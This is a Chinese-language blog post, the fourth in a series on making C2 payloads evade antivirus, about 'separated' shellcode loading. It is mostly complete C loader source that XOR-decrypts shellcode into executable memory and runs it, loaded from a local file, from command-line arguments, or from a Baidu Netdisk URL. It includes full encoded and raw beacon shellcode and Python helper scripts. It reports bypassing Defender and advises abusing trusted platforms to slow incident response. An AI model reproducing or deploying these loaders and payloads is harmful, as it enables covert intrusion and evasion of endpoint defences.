【免杀】C2免杀技术(四)shellcode分离加载

admin 2025年5月18日18:07:31评论39 views字数 19745阅读65分49秒阅读模式
前言

说到shellcode分离加载,关于Stager的概念先了解一下

概念
定义
举例
特点
Stager
负责“搭桥”的小程序,作用是建立与 C2 的连接,并从远程下载真正 payload
PowerShell 脚本、shellcode、exe、HTA等
小、灵活、便于绕过防御;依赖网络
Staged Payload
分阶段 payload,通常包含 stager 和后续主 payload。
Cobalt Strike HTTP Stager + Beacon
隐蔽性好、易组合、但结构复杂、通信明显
Stageless Payload
一步到位的 payload,把 stager 和真正的 payload 打包在一起执行。
一个完整的 exe/shellcode,一运行就上线
稳定、直接、执行快,但体积大、更容易被杀软特征识别
【免杀】C2免杀技术(四)shellcode分离加载

在免杀(bypass  AV/EDR)领域中,Shellcode 分离是一种规避安全检测的技术策略,其核心思想是: 将恶意代码(即  Shellcode)从主要的执行逻辑中分离出去,不直接嵌入在主程序(loader)中,以降低被特征检测、行为分析或静态扫描发现的风险。

分离加载方式

以下是几种典型的分离加载方式:

一、本地文件加载

1、首先准备一个xor加密的stageless加载器

#include <windows.h>#include <stdio.h>#include <stdlib.h>
// 使用字符串 "kun" 作为 XOR keyunsigned char xor_key[] = { 'k''u''n' };const size_t key_len = sizeof(xor_key);
// XOR混淆的 shellcode(请用你的真实 shellcode 替换)unsigned char encoded_shellcode[] = "x97x3dxedx8fx85x86xa3x75x6ex6bx34x3fx2ax25x3cx3ax23x26x5axa7x0bx23xfex3cx0bx3dxe5x39x6dx26xe0x27x4ex23xfex1cx3bx3dx61xdcx3fx24x26x44xa7x23x44xaexc7x49x0fx17x77x42x4bx34xafxa2x78x2fx6axb4x8cx86x27x2fx3ax3dxe5x39x55xe5x29x49x26x6axa5x08xeax0dx76x60x77x1bx19xfexeexe3x75x6ex6bx3dxebxabx01x09x23x74xbex3bxfex26x73x31xe5x2bx55x27x6axa5x8dx3dx3dx91xa2x34xe5x5fxfdx26x6axa3x23x5axbcx26x5axb5xc2x2axb4xa7x66x34x6fxaax4dx8ex1ex84x22x68x39x4ax63x30x57xbax00xb6x33x31xe5x2bx51x27x6axa5x08x2axfex62x23x31xe5x2bx69x27x6axa5x2fxe0x71xe6x23x74xbex2ax2dx2fx33x2bx37x31x34x36x2ax2cx2fx31x3dxedx87x55x2fx39x8ax8ex33x34x37x31x3dxe5x79x9cx21x94x8ax91x36x1fx6ex22xcbx19x02x1bx07x05x10x1ax6bx34x38x22xfcx88x27xfcx9fx2axcfx22x1cx53x69x94xa0x26x5axbcx26x5axa7x23x5axb5x23x5axbcx2fx3bx34x3ex2axcfx54x3dx0cxc9x94xa0x85x18x2fx26xe2xb4x2fxd3x28x7fx6bx75x23x5axbcx2fx3ax34x3fx01x76x2fx3ax34xd4x3cxfcxf1xadx8axbbx80x2cx35x23xfcxafx23x44xbcx22xfcxb6x26x44xa7x39x1dx6ex69x35xeax39x27x2fxd1x9ex3bx45x4ex91xbex3dxe7xadx3dxedxa8x25x04x61x2ax26xe2x84x26xe2xafx27xacxb5x91x94x8ax91x26x44xa7x39x27x2fxd1x58x68x73x0ex91xbexf0xaex64xf0xf3x6ax75x6ex23x8axa1x64xf1xe2x6ax75x6ex80xa6x87x8fx74x6ex6bx9dxccx94x8ax91x44x1fx2fx27x13x6ex29xfbx4cx87x7cx4exa3x5ax27x7ex12x9bxe1xb6xcbx0dx98x9ex71x24xf0xbbx35xe9x45x21xf4x5fx7fx0cx90xf4x74xe8x6axb2xb5x4fx8cxf6xd6x9ex51xdfx81xaex76x30x26xddxbdx75x63x41xc0x67x3cx70xd5xf5x79xadx41x9fxc5xa7x6axfdx58x20xbdxafx8cx75x3bx18x10x1cx46x34x09x0ex1bx1ax51x55x23x04x0fx07x07x19x0fx44x40x40x5bx55x46x08x1ax03x1bx14x1ax02x17x02x0ex4ex4ex26x26x27x2ex55x5fx5bx5bx5ex50x55x39x02x1bx0ax04x02x1dx4bx3bx3ax4bx43x40x5ax4ex4ex3cx3ax39x5dx41x55x4bx21x1cx02x11x0bx05x01x41x5dx5bx5ex42x78x64x6bx43xacxbcx37xdfx7bx58xffx31x6fx96x46xfex4fx38xd0xe3xf3xfbx3cx0cx3ax75x82x1cxf1xd9x1dxd2x49x6bx9ax46x25x9exafx69x9ax83x12xf0x10xb9x26x75x0ax1axaex03x61x24x6fx4bxe9xe7xcdx58xf4xbex95xd0x46x3fx7bx37x76xc8x0bx35x3bx9ax2bxaaxd5x1cxafx4bx35xdax25x9ax69x5cx0fxd4x0cx3bxbax3dxd2xf0xb9x6axcdx8fx81xe2x9ex52xebx6dx1ex61x25x5cx1exc4x0fx0ex1fxa3x88x22x5bx62x3exc1xeexd7x8cx43xf1x25x90xf4x7dxbbxbcxc7x7ex9dx83xfaxffx9dxbfx51x9fx76x7axb2xc7xa7xa0x6cxddxddxe8x55xc9xb7xdaxa1xfexd5x9dx0exabx49xb9x06x93xacx62x68xd6xd4x0bx75x17x50x9fx02x8fx7bx0dx47x97xc7x5dxc6x34x43x86x20xc3x5fx4exd5x64x83x5dx7fx55x6bx69x3ex7fx99x02x4fxa4x1bxa1x0ex07x03x54x1dxf2xe1x04x4dxa8x36xd3x09x6ex2axcbx9exdexd7x38x94xa0x26x5axbcxd4x6bx75x2ex6bx34xd6x6bx65x6ex6bx34xd7x2bx75x6ex6bx34xd4x33xd1x3dx8ex8axbbx23xe6x3dx38x3dxe7x8cx3dxe7x9ax3dxe7xb1x34xd6x6bx55x6ex6bx3cxe7x92x34xd4x79xe3xe7x89x8axbbx23xf6xaax4bxf0xaex1fxc3x08xe0x72x26x6axb6xebxabx00xb9x33x2dx36x23x70x6ex6bx75x6ex3bxb6x86xf4x88x91x94x44x57x59x5bx5fx5dx4dx40x59x40x5bx45x44x6ex6bx7fx42x41" /* shellcode 省略,原样复制 */;size_t shellcode_len = sizeof(encoded_shellcode);
int main() {    // 申请 RWX 内存    LPVOID exec_mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!exec_mem) {        printf("VirtualAlloc failed.n");        return -1;    }
    // 复制加密的 shellcode 到可执行内存    memcpy(exec_mem, encoded_shellcode, shellcode_len);
    // 在已加载的内存中解密 shellcode    for (size_t i = 0; i < shellcode_len; ++i) {        ((unsigned char*)exec_mem)[i] ^= xor_key[i % key_len];    }
    // 创建线程执行 shellcode    HANDLE hThread = CreateThread(NULL0, (LPTHREAD_START_ROUTINE)exec_mem, NULL0NULL);    if (!hThread) {        printf("CreateThread failed.n");        VirtualFree(exec_mem, 0, MEM_RELEASE);        return -1;    }
    // 等待 shellcode 执行完成    WaitForSingleObject(hThread, INFINITE);
    // 清理    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;}

编译出来,拉到DF,检测被杀

【免杀】C2免杀技术(四)shellcode分离加载

2、改造加载器,改成从本地bin文件读取加密的shellcode

windows.h>#include <stdio.h>
// XOR keyunsigned char xor_key[] = { 'k''u''n' };const size_t key_len = sizeof(xor_key);
int main(){    const char* filename = "encoded_shellcode.bin";    FILE* fp = fopen(filename, "rb");    if (!fp) {        fprintf(stderr, "无法打开文件:%sn", filename);        return 1;    }
    // 获取文件大小    fseek(fp, 0, SEEK_END);    long fileSize = ftell(fp);    fseek(fp, 0, SEEK_SET);    if (fileSize <= 0) {        fprintf(stderr, "文件大小非法:%ldn", fileSize);        fclose(fp);        return 1;    }
    // 分配 RWX 内存    LPVOID exec_mem = VirtualAlloc(        NULL,        fileSize,        MEM_COMMIT | MEM_RESERVE,        PAGE_EXECUTE_READWRITE    );    if (!exec_mem) {        fprintf(stderr, "VirtualAlloc 分配失败,错误码:%lun"GetLastError());        fclose(fp);        return 1;    }
    // 读取加密 shellcode 到可执行内存    size_t bytesRead = fread(exec_mem, 1, fileSize, fp);    fclose(fp);    if (bytesRead != fileSize) {        fprintf(stderr, "读取 shellcode 失败:已读 %zu 字节,期望 %ld 字节n", bytesRead, fileSize);        VirtualFree(exec_mem, 0, MEM_RELEASE);        return 1;    }
    // 可选:刷新 CPU 指令缓存    FlushInstructionCache(GetCurrentProcess(), exec_mem, fileSize);
    // 在内存中按 key 进行 XOR 解密    unsigned char* p = (unsigned char*)exec_mem;    for (size_t i = 0; i < (size_t)fileSize; ++i) {        p[i] ^= xor_key[i % key_len];    }
    // 创建线程执行解密后的 shellcode    HANDLE hThread = CreateThread(        NULL,        0,        (LPTHREAD_START_ROUTINE)exec_mem,        NULL,        0,        NULL    );    if (!hThread) {        fprintf(stderr, "CreateThread 失败,错误码:%lun"GetLastError());        VirtualFree(exec_mem, 0, MEM_RELEASE);        return 1;    }
    // 等待 shellcode 执行完成    WaitForSingleObject(hThread, INFINITE);
    // 清理    CloseHandle(hThread);    VirtualFree(exec_mem, 0, MEM_RELEASE);    return 0;}

打包编译。接着,将原来加密的shellcode转换成bin文件,使用以下py代码

data = b"x97x3dxedx8fx85x86xa3x75x6ex6bx34x3fx2ax25x3cx3ax23x26x5axa7x0bx23xfex3cx0bx3dxe5x39x6dx26xe0x27x4ex23xfex1cx3bx3dx61xdcx3fx24x26x44xa7x23x44xaexc7x49x0fx17x77x42x4bx34xafxa2x78x2fx6axb4x8cx86x27x2fx3ax3dxe5x39x55xe5x29x49x26x6axa5x08xeax0dx76x60x77x1bx19xfexeexe3x75x6ex6bx3dxebxabx01x09x23x74xbex3bxfex26x73x31xe5x2bx55x27x6axa5x8dx3dx3dx91xa2x34xe5x5fxfdx26x6axa3x23x5axbcx26x5axb5xc2x2axb4xa7x66x34x6fxaax4dx8ex1ex84x22x68x39x4ax63x30x57xbax00xb6x33x31xe5x2bx51x27x6axa5x08x2axfex62x23x31xe5x2bx69x27x6axa5x2fxe0x71xe6x23x74xbex2ax2dx2fx33x2bx37x31x34x36x2ax2cx2fx31x3dxedx87x55x2fx39x8ax8ex33x34x37x31x3dxe5x79x9cx21x94x8ax91x36x1fx6ex22xcbx19x02x1bx07x05x10x1ax6bx34x38x22xfcx88x27xfcx9fx2axcfx22x1cx53x69x94xa0x26x5axbcx26x5axa7x23x5axb5x23x5axbcx2fx3bx34x3ex2axcfx54x3dx0cxc9x94xa0x85x18x2fx26xe2xb4x2fxd3x28x7fx6bx75x23x5axbcx2fx3ax34x3fx01x76x2fx3ax34xd4x3cxfcxf1xadx8axbbx80x2cx35x23xfcxafx23x44xbcx22xfcxb6x26x44xa7x39x1dx6ex69x35xeax39x27x2fxd1x9ex3bx45x4ex91xbex3dxe7xadx3dxedxa8x25x04x61x2ax26xe2x84x26xe2xafx27xacxb5x91x94x8ax91x26x44xa7x39x27x2fxd1x58x68x73x0ex91xbexf0xaex64xf0xf3x6ax75x6ex23x8axa1x64xf1xe2x6ax75x6ex80xa6x87x8fx74x6ex6bx9dxccx94x8ax91x44x1fx2fx27x13x6ex29xfbx4cx87x7cx4exa3x5ax27x7ex12x9bxe1xb6xcbx0dx98x9ex71x24xf0xbbx35xe9x45x21xf4x5fx7fx0cx90xf4x74xe8x6axb2xb5x4fx8cxf6xd6x9ex51xdfx81xaex76x30x26xddxbdx75x63x41xc0x67x3cx70xd5xf5x79xadx41x9fxc5xa7x6axfdx58x20xbdxafx8cx75x3bx18x10x1cx46x34x09x0ex1bx1ax51x55x23x04x0fx07x07x19x0fx44x40x40x5bx55x46x08x1ax03x1bx14x1ax02x17x02x0ex4ex4ex26x26x27x2ex55x5fx5bx5bx5ex50x55x39x02x1bx0ax04x02x1dx4bx3bx3ax4bx43x40x5ax4ex4ex3cx3ax39x5dx41x55x4bx21x1cx02x11x0bx05x01x41x5dx5bx5ex42x78x64x6bx43xacxbcx37xdfx7bx58xffx31x6fx96x46xfex4fx38xd0xe3xf3xfbx3cx0cx3ax75x82x1cxf1xd9x1dxd2x49x6bx9ax46x25x9exafx69x9ax83x12xf0x10xb9x26x75x0ax1axaex03x61x24x6fx4bxe9xe7xcdx58xf4xbex95xd0x46x3fx7bx37x76xc8x0bx35x3bx9ax2bxaaxd5x1cxafx4bx35xdax25x9ax69x5cx0fxd4x0cx3bxbax3dxd2xf0xb9x6axcdx8fx81xe2x9ex52xebx6dx1ex61x25x5cx1exc4x0fx0ex1fxa3x88x22x5bx62x3exc1xeexd7x8cx43xf1x25x90xf4x7dxbbxbcxc7x7ex9dx83xfaxffx9dxbfx51x9fx76x7axb2xc7xa7xa0x6cxddxddxe8x55xc9xb7xdaxa1xfexd5x9dx0exabx49xb9x06x93xacx62x68xd6xd4x0bx75x17x50x9fx02x8fx7bx0dx47x97xc7x5dxc6x34x43x86x20xc3x5fx4exd5x64x83x5dx7fx55x6bx69x3ex7fx99x02x4fxa4x1bxa1x0ex07x03x54x1dxf2xe1x04x4dxa8x36xd3x09x6ex2axcbx9exdexd7x38x94xa0x26x5axbcxd4x6bx75x2ex6bx34xd6x6bx65x6ex6bx34xd7x2bx75x6ex6bx34xd4x33xd1x3dx8ex8axbbx23xe6x3dx38x3dxe7x8cx3dxe7x9ax3dxe7xb1x34xd6x6bx55x6ex6bx3cxe7x92x34xd4x79xe3xe7x89x8axbbx23xf6xaax4bxf0xaex1fxc3x08xe0x72x26x6axb6xebxabx00xb9x33x2dx36x23x70x6ex6bx75x6ex3bxb6x86xf4x88x91x94x44x57x59x5bx5fx5dx4dx40x59x40x5bx45x44x6ex6bx7fx42x41"  # 原来的混淆字节with open("encoded_shellcode.bin""wb"as f:    f.write(data)

这就是需要植入目标的两个文件:一个是加载器、一个是加密的shellcode

【免杀】C2免杀技术(四)shellcode分离加载

拉到DF下,DF没有报警,双击执行,成功上线

【免杀】C2免杀技术(四)shellcode分离加载
二、参数传递加载

继续改造刚才的加载器,改成以参数方式传递加载shellcode,这里有多种实现

1、传递文件名
#include <windows.h>#include <stdio.h>
unsigned char xor_key[] = { 'k''u''n' };const size_t key_len = sizeof(xor_key);
int main(int argc, char* argv[]){    if (argc != 2) {        fprintf(stderr, "用法: %s <shellcode文件路径>n", argv[0]);        return 1;    }
    const char* filename = argv[1];    FILE* fp = fopen(filename, "rb");    if (!fp) {        fprintf(stderr, "无法打开文件: %sn", filename);        return 1;    }
    fseek(fp, 0, SEEK_END);    long fileSize = ftell(fp);    fseek(fp, 0, SEEK_SET);    if (fileSize <= 0) {        fprintf(stderr, "文件大小非法: %ldn", fileSize);        fclose(fp);        return 1;    }
    LPVOID exec_mem = VirtualAlloc(        NULL,        fileSize,        MEM_COMMIT | MEM_RESERVE,        PAGE_EXECUTE_READWRITE    );    if (!exec_mem) {        fprintf(stderr, "VirtualAlloc 失败,错误码: %lun"GetLastError());        fclose(fp);        return 1;    }
    size_t bytesRead = fread(exec_mem, 1, fileSize, fp);    fclose(fp);    if (bytesRead != (size_t)fileSize) {        fprintf(stderr, "读取 shellcode 失败: 已读 %zu 字节,期望 %ld 字节n", bytesRead, fileSize);        VirtualFree(exec_mem, 0, MEM_RELEASE);        return 1;    }
    // XOR 解密    unsigned char* p = (unsigned char*)exec_mem;    for (size_t i = 0; i < (size_t)fileSize; ++i) {        p[i] ^= xor_key[i % key_len];    }
    // 创建线程执行    HANDLE hThread = CreateThread(        NULL,        0,        (LPTHREAD_START_ROUTINE)exec_mem,        NULL,        0,        NULL    );    if (!hThread) {        fprintf(stderr, "CreateThread 失败,错误码: %lun"GetLastError());        VirtualFree(exec_mem, 0, MEM_RELEASE);        return 1;    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);    VirtualFree(exec_mem, 0, MEM_RELEASE);    return 0;}

当然此方式,也需要植入刚才那两个文件。打包测试,同样过DF

【免杀】C2免杀技术(四)shellcode分离加载
2、传递加密shellcode完整字符串
#include <windows.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <ctype.h>
unsigned char xor_key[] = { 'k''u''n' };const size_t key_len = sizeof(xor_key);
// 将十六进制字符串转换为字节数组size_t hexstr_to_bytes(const char* hexstr, unsigned char** buffer) {    size_t len = strlen(hexstr);    if (len % 2 != 0return 0;
    size_t out_len = len / 2;    *buffer = (unsigned char*)malloc(out_len);    if (!*buffer) return 0;
    for (size_t i = 0; i < out_len; ++i) {        char byte_str[3] = { hexstr[i * 2], hexstr[i * 2 + 1], 0 };        if (!isxdigit(byte_str[0]) || !isxdigit(byte_str[1])) {            free(*buffer);            return 0;        }        (*buffer)[i] = (unsigned char)strtol(byte_str, NULL16);    }    return out_len;}
int main(int argc, char* argv[]){    if (argc != 2) {        fprintf(stderr, "用法: %s <加密的shellcode十六进制字符串>n", argv[0]);        return 1;    }
    unsigned char* encrypted_shellcode = NULL;    size_t shellcode_len = hexstr_to_bytes(argv[1], &encrypted_shellcode);    if (shellcode_len == 0) {        fprintf(stderr, "无效的十六进制 shellcode 字符串n");        return 1;    }
    // 申请 RWX 内存    LPVOID exec_mem = VirtualAlloc(        NULL,        shellcode_len,        MEM_COMMIT | MEM_RESERVE,        PAGE_EXECUTE_READWRITE    );    if (!exec_mem) {        fprintf(stderr, "VirtualAlloc 失败n");        free(encrypted_shellcode);        return 1;    }
    // 拷贝并解密    for (size_t i = 0; i < shellcode_len; ++i) {        ((unsigned char*)exec_mem)[i] = encrypted_shellcode[i] ^ xor_key[i % key_len];    }
    free(encrypted_shellcode);
    // 创建线程执行    HANDLE hThread = CreateThread(NULL0, (LPTHREAD_START_ROUTINE)exec_mem, NULL0NULL);    if (!hThread) {        fprintf(stderr, "CreateThread 失败n");        VirtualFree(exec_mem, 0, MEM_RELEASE);        return 1;    }
    WaitForSingleObject(hThread, INFINITE);    CloseHandle(hThread);    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;}

另外,使用下面py脚本将原始shellcode加密并转换成字符串,作为参数值。向目标植入一个exe即可!

# 示例 Python 脚本data = b'xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x5dx11x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx39x4ax68x72x00xaax0cx4fxacx6dx0fx07x8bx78xcfx38x3cx5cxcex0fx0ex91xe3xf7x14x4bx71xd2x53x1ex1fxaaxc6xc2x4exdcx6fx51x8bxe0x65xcexecxa6x04x6dx0fxd3x61xb8xc8xbcx8ax97x91x49xa6x8bx8cxd7x4exb3xecx99x12xb3xb3xc5xa1x67xebx6ex2cx81xafxd8x16x16x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4dx41x54x50x3bx20x4dx41x54x50x29x0dx0ax00xa0x5cx45x63xcbxd7xf2x9bx5ax51x5cxcaxe2xdcx6dx41xa3x9exb6x1fxeex39xe5x9cxacx7exacx31xfbxb7x43x31xb2x71x80xcexfcx25x3cx44x68x61x03x9fx9fxfax08xc9xdcx72x98x7cx3fxc4x92xd0x4cxe1xc1xc4x5exe8x8fxfdxcexafxddx30x7ax77xa3xb3x16x0cx7cxe7x05x7bxf6xd6x62xd0xfdx82xacxd8xb4xa7x9bx58xb2x39xb1xf2x5cxdcx23xe1x47xe6xefxb6xd1xb3xfdxf5x16x91x37x66x22x85x60x29x48xa6xb9x2fx69x46xa5x3exdbx91xa1xc9xf5xa4x8fx66x2dx2exb2x61x10xa1xe6x10x11x6bx9fx43x5dxedx59x27xf2xdcx93x26xb3x84x1fx82x91x72x52x76xbex44x62xd7x1cxbdx0fxf4xd7x08x85x73xf5x1ax22xcbx68x96x5dx76x46x9cx79xaex58xe0xb3x93x49xa2x41xb8x4dxcdx31x4cx09x8fxe5x2fx0cx3cxe0x38x20xf5x48xbbx00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x39x32x2ex31x36x38x2ex32x35x35x2ex31x00x00x0ax2cx2a'# 原始 shellcodekey = b'kun'encoded = bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])print(encoded.hex())

复制转换后的结果,作为下面要传递的参数值

【免杀】C2免杀技术(四)shellcode分离加载

打包编译,放到DF下,执行,成功免杀

【免杀】C2免杀技术(四)shellcode分离加载
3、参数传递加密key
同理,诸位自行测试
三、远程数据加载

这里可以利用绿标网站可以增加蓝队应急响应的难度,尽量使用知名平台的网站API,如B站、爱奇艺、顺丰、阿里云、华为云等,我这里利用一下百度网盘(baidupcs.com)。

接着,继续改造刚才的加密器,改成读取百度网盘txt文件里的加密字符串来加载shellcode

【免杀】C2免杀技术(四)shellcode分离加载

改好的代码如下,使用了 WinINet API

#define WIN32_LEAN_AND_MEAN#include <windows.h>#include <wininet.h>      // 需要链接 wininet.lib#include <stdio.h>#include <stdlib.h>#include <string.h>#include <ctype.h>
#pragma comment(lib, "wininet.lib")
static const char* URL = "https://xafj-cu11.baidupcs.com/file/5774c892ftee4728448e6e3736b34064?bkt=en-3f603aaf9644340274374bec0723a622bc8f925738fde1a3de1f98c0da5bb156233372c9478df478c6b36d4dcf54b46bcfb0104cefc4c67ce40bbfb80962b20b&fid=637757912-250528-193129147330161&time=1747453323&sign=FDTAXUbGERQlBHSKfWqiu-DCb740ccc5511e5e8fedcff06b081203-tIlYQvMDduf%2F5ybBzyhb1OOcoL8%3D&to=419&size=1782&sta_dx=1782&sta_cs=0&sta_ft=txt&sta_ct=1&sta_mt=1&fm2=MH%2CBaoding%2CAnywhere%2C%2C%E5%A4%A9%E6%B4%A5%2Ccnc&ctime=1747366262&mtime=1747366262&dt3=0&resv0=-1&resv1=0&resv2=rlim&resv3=5&resv4=1782&vuk=637757912&iv=2&vl=0&htype=&randtype=&tkbind_id=0&newver=1&newfm=1&secfm=1&flow_ver=3&pkey=en-74cd4969c19a07b4d76d7003a3ef6077e8a14b87e032a5631921f8d77a17cb364f419d1637e55aa46712e6e4ff95aecf73539004bc50b197305a5e1275657320&expires=8h&rt=sh&r=853432563&vbdid=123919263&fin=hhh.txt&fn=hhh.txt&rtype=1&clienttype=0&dp-logid=8930138691607063368&dp-callid=0.1&hps=1&tsl=0&csl=0&fsl=-1&csign=t3%2FnYbUHr5Xy2v2oxeV0NfDr2V4%3D&so=0&ut=1&uter=4&serv=0&uc=1888738078&ti=c77e04c9862927e5e80daeb574bd8e7fe527f122f9cf3022305a5e1275657320&hflag=30&from_type=1&adg=c_31f3be6e8b99c11f6265fce1da1696dc&reqlabel=250528_f_316803659413607a869ff430a724b623_-1_db383c75632fbd25b21498903e3dedc7&by=themis&resvsflag=1-0-0-1-1-1";static const unsigned char xor_key[] = { 'k','u','n' };static const size_t key_len = sizeof(xor_key);
// 从 URL 下载到内存,返回 buf 和长度BOOL DownloadTextToMemory(const char* url, char** outBuf, DWORD* outSize) {    HINTERNET hWin = InternetOpenA("Mozilla/5.0",        INTERNET_OPEN_TYPE_PRECONFIG,        NULLNULL0);    if (!hWin) return FALSE;
    HINTERNET hUrl = InternetOpenUrlA(hWin, url,        NULL0,        INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE,        0);    if (!hUrl) {        InternetCloseHandle(hWin);        return FALSE;    }
    DWORD chunk = 0, total = 0;    char* buffer = NULL;
    do {        // 先读 4096 字节        char tmp[4096];        if (!InternetReadFile(hUrl, tmp, sizeof(tmp), &chunk)) {            free(buffer);            InternetCloseHandle(hUrl);            InternetCloseHandle(hWin);            return FALSE;        }        if (chunk == 0break;
        // 扩容并拷贝        char* newBuf = (char*)realloc(buffer, total + chunk + 1);        if (!newBuf) {            free(buffer);            InternetCloseHandle(hUrl);            InternetCloseHandle(hWin);            return FALSE;        }        buffer = newBuf;        memcpy(buffer + total, tmp, chunk);        total += chunk;    } while (chunk);
    if (buffer) buffer[total] = '�';
    *outBuf = buffer;    *outSize = total;
    InternetCloseHandle(hUrl);    InternetCloseHandle(hWin);    return buffer != NULL;}
// 将十六进制字符串(含可选空白)转成二进制size_t HexToBytes(const char* hex, unsigned char** out) {    // 先数有效 hex 字符    size_t cnt = 0;    for (const char* p = hex; *p; ++p)        if (isxdigit((unsigned char)*p)) ++cnt;    if (cnt % 2return 0;
    size_t binLen = cnt / 2;    unsigned char* buf = (unsigned char*)malloc(binLen);    if (!buf) return 0;
    size_t idx = 0;    const char* p = hex;    while (*p) {        if (isxdigit((unsigned char)*p)) {            char byteStr[3] = { 0 };            byteStr[0] = *p++;            while (*p && !isxdigit((unsigned char)*p)) ++p;            byteStr[1] = *p++;            buf[idx++] = (unsigned char)strtoul(byteStr, NULL16);        }        else {            ++p;        }    }    *out = buf;    return binLen;}
int main(){    char* txt = NULL;    DWORD txtLen = 0;    if (!DownloadTextToMemory(URL, &txt, &txtLen)) {        fprintf(stderr, "下载失败n");        return 1;    }
    unsigned char* enc = NULL;    size_t encLen = HexToBytes(txt, &enc);    free(txt);    if (encLen == 0) {        fprintf(stderr, "HEX 解码失败n");        return 1;    }
    // 分配 RWX 内存    void* execMem = VirtualAlloc(NULL, encLen,        MEM_COMMIT | MEM_RESERVE,        PAGE_EXECUTE_READWRITE);    if (!execMem) {        fprintf(stderr, "VirtualAlloc 失败: %lun"GetLastError());        free(enc);        return 1;    }
    // XOR 解密并写入 execMem    for (size_t i = 0; i < encLen; ++i) {        ((unsigned char*)execMem)[i] = enc[i] ^ xor_key[i % key_len];    }    free(enc);    FlushInstructionCache(GetCurrentProcess(), execMem, encLen);
    // 执行    HANDLE hTid = CreateThread(NULL0,        (LPTHREAD_START_ROUTINE)execMem,        NULL0NULL);    if (!hTid) {        fprintf(stderr, "CreateThread 失败: %lun"GetLastError());        VirtualFree(execMem, 0, MEM_RELEASE);        return 1;    }    WaitForSingleObject(hTid, INFINITE);    CloseHandle(hTid);    VirtualFree(execMem, 0, MEM_RELEASE);
    return 0;}

 打包编译,放到DF下,成功绕过,执行上线!

【免杀】C2免杀技术(四)shellcode分离加载
结尾

免杀效果通常受多方面影响,没有哪一种技术或者手段能够通吃,通常需要多种手段结合才能最终实现免杀;其次,实战中面临的环境也不一样,不同的杀软效果也不一样,具体问题还需具体分析。本系列文章以技术的实现为主,验证时讲究点到为止,以此表达一项技术的有效性。

原文始发于微信公众号(仇辉攻防):【免杀】C2免杀技术(四)shellcode分离加载

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月18日18:07:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【免杀】C2免杀技术(四)shellcode分离加载https://cn-sec.com/archives/4077919.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息